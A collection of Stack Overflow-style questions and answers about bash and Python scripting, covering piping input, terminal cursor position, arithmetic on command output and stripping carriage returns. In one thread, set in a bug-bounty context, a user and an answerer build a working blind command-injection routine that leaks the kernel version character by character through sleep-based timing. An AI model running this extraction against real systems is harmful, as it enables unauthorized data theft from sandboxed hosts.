I'm looking to input a few strings into a python script so I can do test on my computer not http://www.ideone.com. But the ways I'm doing it all combine the strings instead of making them into lines or separate lines.
My code for python is 0001.py
testCases = int(input())
Counter = 0
while Counter < testCases:
Line = str(input())
countTwo = 1
for i in range(int(len(Line)/2)):
if countTwo % 2 == 0:
print(Line[i], end='')
countTwo += 1
print('\n', end='')
Counter += 1
I'm trying to do something like echo '5' 'hello' 'hello' 'hello' 'hello' | python3 001.py
Try
echo -e "line1\nline2\nline3"
This works because programs take input line by line. This echo statement separates the inputs over lines so it functions like you want.
Editing now that you've provided your OS.
For Linux, this works (credit to #pteronewone who also answered):
$ echo -e "5\nhello\nhello\nhello\nhello\nhello" | python3 001.py
e
e
e
e
e
For Windows (leaving here for future reference), this is ugly and inefficient but works (Windows 7 cmd.exe shell):
C:\> (echo 5 & echo hello & echo hello & echo hello & echo hello & echo hello) | 001.py
e
e
e
e
e
(Not sure exactly what you're trying to accomplish, but that's what your script outputs.)
A few other suggestions:
Wrap the input() in a try/except. In your example you only included four "hello" but told it to expect five, so it tries to read a fifth input which results in an exception.
try:
Line = str(input())
except:
break
Use the integer division operator // so you don't need to cast from float back to int in your range().
for i in range(len(Line) // 2):
Related
I wrote a shell script to gather and show some information after a successful login.
However some info is taking some time to gather so I print to the terminal (ssh putty) ahead some headers and already available info before go back and print the delayed info into the right place.
To accomplish that I used the following script to get the current cursor position, (ignoring all the boring stuff that come before. It's a bunch of printf's, cat and cut's...
. ...
. ...
printf "^[[0m""\n"
# Get current settings.
if ! termios="$(stty -g 2>/dev/null)" ; then
echo "Not running in a terminal." >&2
exit 1
fi
# Restore terminal settings when the script exits.
trap "stty '$termios'" EXIT
# Disable ICANON ECHO. Should probably also disable CREAD.
stty -icanon -echo
# Request cursor coordinates
printf '\033[6n'
# Read response from standard input; note, it ends at R, not at newline
read -d "R" rowscols
# Clean up the rowscols (from \033[rows;cols -- the R at end was eaten)
rowscols="${rowscols//[^0-9;]/}"
rowscols=("${rowscols//;/ }")
#printf '(row %d, column %d)\n' ${rowscols[0]} ${rowscols[1]} *<-- commented by me*
# Reset original terminal settings.
stty "$termios"
# To the stuff...
printf '(row %d, column %d)\n' ${rowscols[0]} ${rowscols[1]}
line=${rowscols[0]}
line=$(($line - 10)) *<--- Indeed script's line 102. I want subtract 10*
col=56
printf '(r= %d, c= %d)\n' ${line} ${col} *<--- Printed two times, both times wrong values*
exit 1 *<--- Put here just to exit earlier*
## Get uptime/activetime formated to my taste.
m_activetime=$(/usr/bin/activetime -v)
printf "\33[%d;%dH^[[38;5;196m ${m_activetime}" ${line} ${col}
. ...
. ...
When I run the code i get:
. ...
. ...
. ...
||=-= _ |-=- |+++++++| _ ||= _ | :
`~‾‾ '--~~__|- = |+++++__|----~‾ ‾~`---', CPU stat⸱:
~---__|,--~' Weather⸱⸱:
(row 16, column 1)
./c.asc: line 102: 16 1 - 10: syntax error in expression (error token is "1 - 10")
(r= 16, c= 1)
(r= 56, c= 0)
lr#pi:~ $
1) Script is bash (shebang #!/usr/bash)
2) The line (row 16, column 1) seems OK!
3) The script is called c.asc
4) I wonder what the heck that error is, I've used similar expressions before, not with bash arrays but even so...
line 102: 16 1 - 10: syntax error
I can guess the 16, but where did it come the 1 - 10 ?
(error token is "1 - 10")
what token "1 - 10" ????!!!
5) The first (r= 16, c= 1) is already wrong, it should be (r= 6, c= 56). Why is this? What happened to the subtraction of 10? Where did it go the value of the variable col?
6) Even more strange. I didn't instruct to print a second time, even so, now the variable line has an identity crisis and display the col value, and in both cases the instruction col=56 seems to have been ignored. Why and how did the variable line get the value of the variable col? Why did the variable col shift from the wrong value 1, to the wrong value 0?
7) The showed script has been transformed to track the error. It started by not printing into the expected position, and display errors. Also a version of the the printf printf '(r= %d, c= %d)\n' $((${line} - 10)) ${col} display equally similar and bizarre error.
p.s.
After some additional experiments with only the part of the script to get the terminal cursor position, it seems also that it is not completely sane. It returns the position alright but trying things like read r c < <(curspos), (assuming that curspos is the name of the script that return the tuple lin col), the prompt hangs until Ctrl-C is pressed and after that prompt goes crazy.
Thank you
The issue is that you're quoting the value to the array.
rowscols=("${rowscols//;/ }")
This tells bash to ignore the spaces and consider it as one value. So when you get the first value with ${rowscols[0]} later, you actually get 16 1 instead of 16 and there's no second value.
It also worked with this printf because you didn't quote the values there.
printf '(row %d, column %d)\n' ${rowscols[0]} ${rowscols[1]}
I don't know why it ran the last printf twice, but it seems to be solved with the quoting.
I have a script that I am using for a bug bounty program and am running blind code/command injection with.
I have already made the application sleep for 60 seconds based on user id boolean comparisons, so I know it's there.
What I am trying to do now is run shell commands, set them to a shell variable and blindly assess each one char by char, true or false.
The issue I am having is that the the variables I am setting are not being picked up by the host. I am testing this on my local machine at the moment, Kali.
When I print the output of the commands I can see $char for example rather than the shell variable char.
1: kernel_version=$(uname -r);
2: char=$(echo $kernel_version | head -c 1 | tail -c 1);
3: if [[ $char == M ]]; then sleep 60 ; exit; fi
How can I correct the below code so that variable are set and picked up correctly?
def bash_command(self, char, position):
cmd1 = "kernel_version=$(uname -r); "
cmd2 = f"char=$(echo $kernel_version | head -c {position} | tail -c 1); "
op = '==' if char in self.letters + self.numbers else '-eq'
cmd3 = f"if [[ $char {op} {char} ]]; then sleep 60 ; exit; fi"
print("1: " + cmd1)
print("2: " + cmd2)
print("3: " + cmd3)
return cmd1 + cmd2 + cmd3
Full Code:
https://raw.githubusercontent.com/richardcurteis/BugBountyPrograms/master/qc_container_escape.py
To sum up the question: You have a sandbox escape that lets you invoke a shell via os.popen() and determine the time taken by the call (but not the return value), and you want to extract /proc/version by guess-and-check.
The most immediate bug in your original code is that it depended on bash-only syntax, whereas os.popen() uses /bin/sh, which isn't guaranteed to support same.
The other thing that was... highly questionable as a practice (especially as a security researcher!) was the generation of code via string concatenation without any explicit escaping. C'mon -- we, as an industry, can do better than that. Even though os.popen() is a fairly limited channel if you can't set environment variables, one can use shlex.quote() to set values safely, and separate the program being executed from the process setup that precedes it.
shell_cmd = '''
position=$1
test_char=$2
kernel_version=$(uname -r)
found_char=$(printf '%s\n' "$kernel_version" | head -c "$position" | tail -c 1)
[ "$test_char" = "$found_char" ] && sleep 2
'''
import os, shlex, popen, time
def run_with_args(script, args):
args_str = ' '.join([shlex.quote(str(arg)) for arg in args])
set_args_cmd = 'set -- ' + args_str + ';'
# without read(), we don't wait for execution to finish, and can't see timing
os.popen(set_args_cmd + script).read()
def check_char(char, pos):
start_time = time.time()
run_with_args(shell_cmd, [pos+1, char]) # use zero-based offsets like sane people
end_time = time.time()
return end_time - start_time > 1
...whereafter, on a system with a 5.0 kernel, check_char('5', 0) will return True, but check_char('4', 0) will return False.
(Using timing as a channel assumes that there are countermeasures you're overcoming that prevent you from simply reading data from the FIFO that os.popen() returns; of course, if you can possibly do that instead, you should!)
when I do
$ ls | wc -l
703
It gave me the result 703, I want to print 702 (703-1)
How can I do it in bash?
You can use arithmetic expansion:
result=$(( $(ls | wc - l) - 1))
or just ignore one of the files
result=$(ls | tail -n+2 | wc -l)
Note that it doesn't work if filenames contain the newline character; use ls -q to get one filename per line in such a case. This applies to the first solution, too, if you're interested in the number of files and not the number of lines in their names.
(Cheeky answer) Remove one line from the output before counting :D
ls | sed '1d' | wc -l
How to convert result as Integer in bash
#choroba has already answered this question and it should have solved OP's problem. However, I want to add more to his answer.
The OP's wants to convert the result into Integer but Bash doesn't have any data type like Integer.
Unlike many other programming languages, Bash does not segregate its variables by "type." Essentially, Bash variables are character strings, but, depending on context, Bash permits arithmetic operations and comparisons on variables. The determining factor is whether the value of a variable contains only digits.
See this for arithmetic operation in Bash.
See this for a best example to learn the untyped nature of Bash. I have posted the example below:
#!/bin/bash
# int-or-string.sh
a=2334 # Integer.
let "a += 1"
echo "a = $a " # a = 2335
echo # Integer, still.
b=${a/23/BB} # Substitute "BB" for "23".
# This transforms $b into a string.
echo "b = $b" # b = BB35
declare -i b # Declaring it an integer doesn't help.
echo "b = $b" # b = BB35
let "b += 1" # BB35 + 1
echo "b = $b" # b = 1
echo # Bash sets the "integer value" of a string to 0.
c=BB34
echo "c = $c" # c = BB34
d=${c/BB/23} # Substitute "23" for "BB".
# This makes $d an integer.
echo "d = $d" # d = 2334
let "d += 1" # 2334 + 1
echo "d = $d" # d = 2335
echo
# What about null variables?
e='' # ... Or e="" ... Or e=
echo "e = $e" # e =
let "e += 1" # Arithmetic operations allowed on a null variable?
echo "e = $e" # e = 1
echo # Null variable transformed into an integer.
# What about undeclared variables?
echo "f = $f" # f =
let "f += 1" # Arithmetic operations allowed?
echo "f = $f" # f = 1
echo # Undeclared variable transformed into an integer.
#
# However ...
let "f /= $undecl_var" # Divide by zero?
# let: f /= : syntax error: operand expected (error token is " ")
# Syntax error! Variable $undecl_var is not set to zero here!
#
# But still ...
let "f /= 0"
# let: f /= 0: division by 0 (error token is "0")
# Expected behavior.
# Bash (usually) sets the "integer value" of null to zero
#+ when performing an arithmetic operation.
# But, don't try this at home, folks!
# It's undocumented and probably non-portable behavior.
# Conclusion: Variables in Bash are untyped,
#+ with all attendant consequences.
exit $?
Script:
#!/bin/ksh
FILENAME=$1
while read RECORD VALUE
do
echo ${RECORD} ${VALUE} "X"
done <"$FILENAME"
input file:
A 1
B 2
The output of script:
X1
X2
If I remove from echo "x", e.g.
echo ${RECORD} ${VALUE}
I am getting
A 1
B 2
what is wrong?
Update:
If I do
echo "X" ${RECORD} ${VALUE}
it prints correctly:
X A 1
X B 2
and :
echo ${RECORD} "X"
also prints correctly, so i am guessing the issues is with VALUE that maybe contains return carriage symbol (as input file was created on windows)
adding this inside the loop:
VALUE=`echo $VALUE| tr -d '\r'`
solved the issue, if you have a better solution you are more than welcome.
There is a parameter expansion operator you can use to remove a character from the end of a value, if it is present.
VALUE=${VALUE%$'\r'}
This is handled in-shell, without needing to start a new process.
I have a bash program which extracts marks from a file that looks like this:
Jack ex1=5 ex2=3 quiz1=9 quiz2=10 exam=50
I want the code to execute such that when I input into terminal:
./program -ex1 -ex2 -ex3
Jack does not have an ex3 in his data, so an output of 0 will be returned:
Jack 5 3 0
how do I code my program to output 0 for each unrecognized argument?
If I understand what you are trying to do, it isn't that difficult. What you need to do is read each line into a name and the remainder into marks. (input is read from stdin)
Then for each argument given on the command line, check if the first part matches the beginning of any grade in marks (the left size of the = sign). If it does, then save the grade (right side of the = sign) and set the found flag to 1.
After checking all marks against the first argument, if the found flag is 1, output the grade, otherwise output 0. Repeat for all command line arguments. (and then for all students in file) Let me know if you have questions:
#!/bin/bash
declare -i found=0 # initialize variables
declare -i grade=0
while read -r name marks; do # read each line into name & marks
printf "%s" "$name" # print student name
for i in "$#"; do # for each command line argument
found=0 # reset found (flag) 0
for j in $marks; do # for each set of marks check for match
[ $i = -${j%=*} ] && { found=1; grade=${j#*=}; } # if match save grade
done
[ $found -eq 1 ] && printf " %d" $grade || printf " 0" # print grade or 0
done
printf "\n" # print newline
done
exit 0
Output
$ bash marks_check.sh -ex1 -ex2 -ex3 < dat/marks.txt
Jack 5 3 0